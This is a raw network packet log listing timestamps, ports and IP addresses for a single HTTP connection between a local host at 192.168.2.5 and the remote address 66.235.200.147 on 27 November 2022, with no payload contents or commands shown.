Nov 27, 2022 04:36:39.987907887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987957954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.988502026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988543987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988586903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988600969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.988627911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988668919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988687992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.988712072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988753080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988756895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.988791943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.988837957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.989398003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989440918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989483118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989491940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.989522934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989563942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989567041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.989628077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989672899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989681959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.989717007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.989773035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.990283966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990328074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990370989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990390062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.990413904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990457058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990461111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.990497112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990536928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990539074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.990581036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.990623951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.991152048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991194963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991235018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991251945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.991276026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991316080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991337061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.991357088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991399050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991406918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.991440058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.991483927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992089033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992132902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992172003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992187977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992213964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992255926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992260933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992295980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992336035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992340088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992377043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992424011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992743015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992785931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992839098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992872000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992916107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992957115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.992959976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.992996931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993038893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993040085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993078947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993120909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993124008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993160963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993202925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993210077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993244886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993285894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993293047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993326902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993367910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993374109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993407965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993462086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993851900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993896008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993935108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.993946075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.993976116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994016886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994024038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994056940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994097948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994101048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994137049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994177103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994204044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994219065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994259119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994280100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994298935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994333982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994344950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994723082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994765043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994781017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994807005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994847059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994851112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994908094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994951010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.994959116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.994991064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995031118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995034933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995070934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995111942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995112896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995152950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995194912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995196104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995234966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995275974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995280981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995704889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995747089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995758057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995786905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995826960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995831966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995867968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995908022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995909929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.995949984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995990992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.995995998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996032000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996073961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996073961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996113062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996153116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996153116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996193886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996234894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996236086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996639967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996665001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996689081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996695042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996714115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996737003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996738911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996762991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996788979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996804953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996812105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996835947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996840000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996860027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996884108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996885061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996907949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996932030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996934891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.996957064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.996980906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997603893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997629881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997653008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997673988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997678041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997701883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997701883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997726917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997744083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997750998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997773886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997795105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997798920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997823000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997844934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997855902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997869968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997894049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.997894049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997919083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.997945070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.998588085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998636961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998648882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.998661995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998684883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998706102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.998709917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998733044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998756886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998756886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.998780966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.998801947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010052919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010096073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010128975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010162115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010195971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010230064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010262012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010297060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010328054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010327101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010351896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010361910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010375977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010392904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010425091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010452986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010459900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010483980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010514975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010515928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010550022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010565996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010584116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010616064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010633945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010648012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010679007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010693073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010710955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010741949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010756016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010773897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010807991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010818958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010839939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010870934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010888100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010920048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010951996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.010966063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.010983944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011015892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011029959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011049986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011101007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011248112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011280060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011312008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011323929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011346102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011377096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011384010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011409044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011440992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011449099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011471987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011502981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011513948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011560917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011595011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011601925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011626959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011657953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011667967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011688948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011719942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011729956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011750937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011782885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011791945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.011815071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.011853933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012223959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012255907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012285948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012298107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012330055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012372017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012379885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012470961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012506008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012520075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012537956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012583971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012628078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012661934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012692928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012710094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012726068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012758970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012773037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012790918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012823105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012835979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012854099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012885094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012898922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.012917995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.012959957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013199091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013246059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013289928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013290882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013331890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013374090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013377905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013422012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013459921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013462067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013493061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013525009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013533115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013556004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013588905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013596058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013619900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013652086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013659954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013683081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013715029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013722897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013746977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013777018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013787031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.013808012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.013849020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014179945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014228106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014271021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014272928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014317989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014359951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014360905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014408112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014441013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014446974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014472961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014503956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014513969 CET	49705	80	192.168.2.5	66.235.200.147
